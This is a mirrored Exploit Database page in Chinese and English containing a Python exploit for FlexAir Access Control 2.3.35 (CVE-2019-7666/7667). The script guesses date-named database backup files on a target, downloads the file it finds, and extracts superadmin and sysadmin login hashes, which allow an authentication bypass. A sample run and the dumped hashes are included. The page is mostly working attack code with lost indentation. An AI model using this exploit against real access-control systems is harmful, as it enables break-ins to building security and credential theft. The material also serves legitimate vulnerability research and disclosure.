FlexAir Access Control 2.3.35 – Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： LiquidWorm
  日期： 2019-11-12
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/47644/

• # Exploit Title: FlexAir Access Control 2.3.35 - Authentication Bypass
  # Google Dork: NA
  # Date: 2019-11-11
  # Exploit Author: LiquidWorm
  # Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
  # Software Link: https://www.computrols.com/building-automation-software/
  # Version: 2.3.35
  # Tested on: NA
  # CVE : CVE-2019-7666, CVE-2019-7667
  # Advisory: https://applied-risk.com/resources/ar-2019-007
  # Paper: https://applied-risk.com/resources/i-own-your-building-management-system
  
  #!/usr/bin/env python
  # -*- coding: utf8 -*-
  #
  # Prima FlexAir Access Control 2.3.35 Database Backup Predictable Name Exploit
  # Authentication Bypass (Login with MD5 hash)
  #
  # Older versions: /links/Nova_Config_2019-01-03.bck
  # Older versions: /Nova/assets/Nova_Config_2019-01-03.bck
  # Newer versions: /links/Nova_Config_2019-01-03_13-53.pdb3
  # Fixed versions: 2.4
  #
  ###################################################################################
  #
  # lqwrm@metalgear:~/stuff/prima$ python exploitDB.py http://192.168.230.17:8080
  # [+] Please wait while fetchin the backup config file...
  # [+] Found some juice!
  # [+] Downloading: http://192.168.230.17:8080/links/Nova_Config_2019-01-07.bck
  # [+] Saved as: Nova_Config_2019-01-07.bck-105625.db
  # lqwrm@metalgear:~/stuff/prima$ sqlite3 Nova_Config_2019-01-07.bck-105625.db 
  # SQLite version 3.22.0 2018-01-22 18:45:57
  # Enter ".help" for usage hints.
  # sqlite> select usrloginname,usrloginpassword from users where usrid in (1,2);
  # superadmin|0dfcfa8cc7fd39d96ffe22dd406b5065
  # sysadmin|1af01c4a5a4ec37f451a9feb20a0bbbe
  # sqlite> .q
  # lqwrm@metalgear:~/stuff/prima$ 
  #
  ###################################################################################
  #
  # 11.01.2019
  #
  
  import os#######
  import sys######
  import time#####
  import requests#
  
  from datetime import timedelta, date
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  
  piton = os.path.basename(sys.argv[0])
  
  if len(sys.argv) < 2:
  print '[+] Usage: '+piton+' [target]'
  print '[+] Target example 1: http://10.0.0.17:8080'
  print '[+] Target example 2: https://primanova.tld\n'
  sys.exit()
  
  host = sys.argv[1]
  
  def datum(start_date, end_date):
  for n in range(int ((end_date - start_date).days)):
  yield start_date + timedelta(n)
  
  start_date = date(2017, 1, 1)
  end_date = date(2019, 12, 30)
  
  print '[+] Please wait while fetchin the backup config file...'
  
  def spinning_cursor():
  while True:
  for cursor in '|/-\\':
  yield cursor
  
  spinner = spinning_cursor()
  
  for mooshoo in datum(start_date, end_date):
  sys.stdout.write(next(spinner))
  sys.stdout.flush()
  time.sleep(0.1)
  sys.stdout.write('\b')
  h = requests.get(host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck', verify=False)
  
  if (h.status_code) == 200:
  print '[+] Found some juice!'
  print '[+] Downloading: '+host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck'
  timestr = time.strftime('%H%M%S')
  time.sleep(1)
  open('Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db', 'wb').write(h.content)
  print '[+] Saved as: Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db'
  sys.exit()
  
  print '[-] No backup for you today. :('